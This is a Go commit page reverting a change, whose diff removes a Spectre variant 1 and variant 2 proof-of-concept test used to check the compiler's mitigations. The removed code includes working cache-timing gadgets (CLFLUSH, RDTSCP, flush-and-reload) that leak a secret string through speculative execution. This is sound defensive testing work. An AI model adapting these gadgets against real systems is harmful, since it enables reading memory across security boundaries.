diff options
author | Bryan C. Mills <bcmills@google.com> | 2020-03-13 20:38:58 +0000 |
---|---|---|
committer | Andrew Bonventre <andybons@golang.org> | 2020-03-13 21:31:16 +0000 |
commit | dcc5c249260526aa1b1534aa9f7f33228fcd25d7 (patch) | |
tree | fed2fd78ba06e8463ca17181997204ac07df8733 /misc | |
parent | e2a9ea035d73df84c813132417366e8e01777c8d (diff) | |
download | go-dcc5c249260526aa1b1534aa9f7f33228fcd25d7.tar.gz go-dcc5c249260526aa1b1534aa9f7f33228fcd25d7.zip |
Revert "misc/spectre: add spectre index test"
This reverts CL 222978.
Reason for revert: Test is failing frequently in TryBots and builders (https://build.golang.org/log/06a29585eaa9955cf33b50b5792b3bdc42e8fbe2)
Change-Id: I53bcf789726a9cfe78b1d3c55af78873c5c61696
Reviewed-on: https://go-review.googlesource.com/c/go/+/223378
Run-TryBot: Bryan C. Mills <bcmills@google.com>
TryBot-Result: Gobot Gobot <gobot@golang.org>
Reviewed-by: Dmitri Shuralyov <dmitshur@golang.org>
Diffstat (limited to 'misc')
-rw-r--r-- | misc/spectre/asm_amd64.s | 51 | ||||
-rw-r--r-- | misc/spectre/doc.go | 7 | ||||
-rw-r--r-- | misc/spectre/index_test.go | 59 | ||||
-rw-r--r-- | misc/spectre/spectre_amd64_test.go | 282 |
4 files changed, 0 insertions, 399 deletions
diff --git a/misc/spectre/asm_amd64.s b/misc/spectre/asm_amd64.s deleted file mode 100644 index 6daa8a7d40..0000000000 --- a/misc/spectre/asm_amd64.s +++ /dev/null @@ -1,51 +0,0 @@ -// Copyright 2020 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -#include "textflag.h" - -TEXT ·clflush(SB),NOSPLIT,$0-8 - MOVQ arg+0(FP), AX - CLFLUSH 0(AX) - RET - -TEXT ·rdtscp(SB),NOSPLIT,$0-8 - RDTSCP - SHLQ $32, DX - ORQ DX, AX - MOVQ AX, ret+0(FP) - RET - -TEXT ·nop(SB),NOSPLIT,$0-0 - RET - -TEXT ·cpuid(SB),NOSPLIT,$0-0 - CPUID - RET - -TEXT ·features(SB),NOSPLIT,$0-2 - MOVL $0, AX - MOVL $0, CX - CPUID - CMPL AX, $1 - JLT none - - MOVL $1, AX - MOVL $0, CX - CPUID - SHRL $19, DX - ANDL $1, DX - MOVB DX, hasCLFLUSH+0(FP) - - MOVL $0x80000001, AX - MOVL $0, CX - CPUID - SHRL $27, DX - ANDL $1, DX - MOVB DX, hasRDTSCP+0(FP) - RET - -none: - MOVB $0, hasCLFLUSH+0(FP) - MOVB $0, hasRDTSCP+1(FP) - RET diff --git a/misc/spectre/doc.go b/misc/spectre/doc.go deleted file mode 100644 index cd068feab7..0000000000 --- a/misc/spectre/doc.go +++ /dev/null @@ -1,7 +0,0 @@ -// Copyright 2020 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package spectre contains a Spectre test. -// It only runs on certain architectures. -package spectre diff --git a/misc/spectre/index_test.go b/misc/spectre/index_test.go deleted file mode 100644 index a5ff730631..0000000000 --- a/misc/spectre/index_test.go +++ /dev/null @@ -1,59 +0,0 @@ -// Copyright 2020 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package spectre - -import "testing" - -func shouldPanic(f func()) { - defer func() { - if recover() == nil { - panic("index did not panic") - } - }() - f() -} - -var ( - Zero = 0 - One = 1 - Two = 2 - Three = 3 - Four = 4 - Five = 5 -) - -func TestIndex(t *testing.T) { - xs := "hello" - xi := []int{10, 20, 30, 40, 50} - xf := []float64{10, 20, 30, 40, 50} - - xs = xs[Zero:Five] - xi = xi[Zero:Five] - xf = xf[Zero:Five] - - if xs[Four] != 'o' { - t.Errorf("xs[4] = %q, want %q", xs[Four], 'o') - } - if xi[Four] != 50 { - t.Errorf("xi[4] = %d, want 50", xi[Four]) - } - if xf[Four] != 50 { - t.Errorf("xf[4] = %v, want 50", xf[Four]) - } - - xs1 := xs[One:] - xi1 := xi[One:] - xf1 := xf[One:] - - if xs1[Three] != 'o' { - t.Errorf("xs1[3] = %q, want %q", xs1[Three], 'o') - } - if xi1[Three] != 50 { - t.Errorf("xi1[3] = %d, want 50", xi1[Three]) - } - if xf1[Three] != 50 { - t.Errorf("xf1[3] = %v, want 50", xf1[Three]) - } -} diff --git a/misc/spectre/spectre_amd64_test.go b/misc/spectre/spectre_amd64_test.go deleted file mode 100644 index 7970d3c5cb..0000000000 --- a/misc/spectre/spectre_amd64_test.go +++ /dev/null @@ -1,282 +0,0 @@ -// Copyright 2020 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package spectre - -import ( - "flag" - "sort" - "sync/atomic" - "testing" - "unsafe" -) - -// asm_amd64.s -func nop() -func cpuid() -func clflush(unsafe.Pointer) -func rdtscp() int64 -func features() (cpuid, rdtscp bool) - -// Victim program - -type victimStruct struct { - secret []byte - pad1 [4]int - slice1 []byte // starts on word 7 of struct, so len is in word 8, new cache line - pad2 [6 + 7]int // cache-line aligned again - slice2 []int - pad2b [6]int // cache-line aligned again - timingArray [256]struct { - pad [1024 - 4]byte - data int32 - } - pad3 [1024 - 4]byte - temp int32 - pad5 [1024]byte - slice2data [8]int - f uintptr -} - -var v *victimStruct - -func init() { - // Allocate dynamically to force 64-byte alignment. - // A global symbol would only be 32-byte aligned. - v = new(victimStruct) - if uintptr(unsafe.Pointer(v))&63 != 0 { - panic("allocation not 64-byte aligned") - } - v.secret = []byte("The Magic Words are Squeamish Gossifrage") - v.slice1 = []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16} - v.slice2 = v.slice2data[:] - f := nop - v.f = *(*uintptr)(unsafe.Pointer(&f)) -} - -// Spectre variant 1. (BCB - Bounds Check Bypass) -// Speculation fetches from v.timingArray even if i is out of bounds in v.slice1[i]. - -func victim1(i int) { - if uint(i) < uint(len(v.slice1)) { - v.temp ^= v.timingArray[v.slice1[i]].data - } -} - -func spectre1(innocent, target int) { - for j := 31; j >= 0; j-- { - // Flush the cache line holding the slice len (but not the base pointer). - // This makes the test in victim1 need to fetch from main memory, - // increasing the window during which the CPU speculates ahead. - // The CPUID waits for the CLFLUSH to finish. - clflush(unsafe.Pointer(uintptr(unsafe.Pointer(&v.slice1)) + 8)) - cpuid() - mask := (j - 1) >> 8 // 0 on most rounds, -1 on last - victim1(innocent&^mask | target&mask) - } -} - -// Spectre variant 1 again, with implicit bounds check provided by Go. -// Speculation fetches from v.timingArray even if i is out of bounds in v.slice1[i]. - -func victim1Implicit(i int) { - defer func() { - recover() - }() - v.temp ^= v.timingArray[v.slice1[i]].data -} - -func spectre1Implicit(innocent, target int) { - // Same as spectre1 above, calling victim1implicit. - for j := 31; j >= 0; j-- { - clflush(unsafe.Pointer(uintptr(unsafe.Pointer(&v.slice1)) + 8)) - cpuid() - mask := (j - 1) >> 8 // 0 on most rounds, -1 on last - victim1Implicit(innocent&^mask | target&mask) - } -} - -// Spectre variant 2 victim gadget. (BTI - Branch Target Injection) -// Will speculate that final call is to victimType.Victim instead of attackerType.Victim. - -type victimType int - -func (i victimType) Victim() { - victim1(int(i)) -} - -type attackerType int - -func (attackerType) Victim() {} - -func spectre2(innocent, target int) { - list := make([]interface{ Victim() }, 128) - list[0] = victimType(innocent) - vi := list[0] - for i := range list { - list[i] = vi - } - list[len(list)-1] = attackerType(target) - - av := &list[len(list)-1] - // The 24 here is the offset of the first method in the itab. - itab := unsafe.Pointer(uintptr(**(**unsafe.Pointer)(unsafe.Pointer(&av))) + 24) - - for _, vi := range list { - clflush(itab) - clflush(unsafe.Pointer(uintptr(unsafe.Pointer(&v.slice1)) + 8)) - cpuid() - vi.Victim() - } -} - -// General attack. - -func readbyte(target int, spectre func(int, int)) byte { - for tries := 0; tries < 10; tries++ { - var times [256][8]int - for round := range times[0] { - // Flush timingArray. - for j := range times { - clflush(unsafe.Pointer(&v.timingArray[j].data)) - } - - // Speculate load from timingArray. - innocent := round % 16 - spectre(innocent, target) - - // Measure access times for vtimingArray. - // The atomic.LoadInt32 is not for synchronization - // but instead something that the compiler won't optimize away or move. - for j := range times { - pj := (j*167 + 234) & 255 // permuted j to confuse prefetch - atomic.LoadInt32(&dummy[0]) - addr := &v.timingArray[byte(pj)].data - t := rdtscp() - dummy[0] += int32(*addr) - t = rdtscp() - t - times[pj][round] = int(t) - } - } - - found := 0 - var c byte - for j := range times { - _, avg, _ := stats(times[j][:]) - if hitMin/2 <= avg && avg <= 2*hitMax { - found++ - c = byte(j) - } - } - if found == 1 { - return c - } - if found > 10 { - return 0 - } - } - return 0 -} - -var leakFixed = flag.Bool("leakfixed", false, "expect leak to be fixed") - -func testSpectre(t *testing.T, spectre func(int, int)) { - if cpuid, rdtscp := features(); !cpuid { - t.Skip("CPUID not available") - } else if !rdtscp { - t.Skip("RDTSCP not available") - } - - t.Logf("hit %d %d %d vs miss %d %d %d\n", hitMin, hitAvg, hitMax, missMin, missAvg, missMax) - if missMin/2 < hitMax { - t.Fatalf("cache misses vs cache hits too close to call") - return - } - - offset := int(uintptr(unsafe.Pointer(&v.secret[0])) - uintptr(unsafe.Pointer(&v.slice1[0]))) - // fmt.Printf("offset %d\n", offset) - buf := make([]byte, 40) - for i := 0; i < 40; i++ { - buf[i] = readbyte(offset+i, spectre) - } - found := string(buf) - - // Don't insist on the whole string, but expect most of it. - leaked := 0 - for i := range found { - if found[i] == v.secret[i] { - leaked++ - } - } - if !*leakFixed && leaked < len(found)/2 { - t.Fatalf("expected leak; found only %q", found) - } - if *leakFixed && leaked > 0 { - t.Fatalf("expected no leak; found %q", found) - } -} - -func TestSpectre1(t *testing.T) { - testSpectre(t, spectre1) -} - -func TestSpectre1Implicit(t *testing.T) { - testSpectre(t, spectre1Implicit) -} - -func TestSpectre2(t *testing.T) { - testSpectre(t, spectre2) -} - -var ( - hitMin, hitAvg, hitMax = measure(-1, 500) - missMin, missAvg, missMax = measure(500, 500) -) - -var dummy [1024]int32 - -func measure(flush, probe int) (min, avg, max int) { - var times [100]int - for i := range times { - if flush >= 0 { - clflush(unsafe.Pointer(&dummy[flush])) - } - // The atomic.LoadInt32 is not for synchronization - // but instead something that the compiler won't optimize away or move. - t := rdtscp() - dummy[0] += atomic.LoadInt32(&dummy[probe]) - times[i] = int(rdtscp() - t) - } - return stats(times[:]) -} - -func stats(x []int) (min, avg, max int) { - // Discard outliers. - sort.Ints(x) - q1 := x[len(x)/4] - q3 := x[len(x)*3/4] - lo := q1 - (q3-q1)*3/2 - hi := q3 + (q3-q1)*3/2 - i := 0 - for i < len(x) && x[i] < lo { - i++ - } - j := len(x) - for j-1 > i && x[j-1] > hi { - j-- - } - if i < j { - x = x[i:j] - } - - min = x[0] - max = x[len(x)-1] - - avg = 0 - for _, v := range x { - avg += v - } - avg /= len(x) - return min, avg, max -} |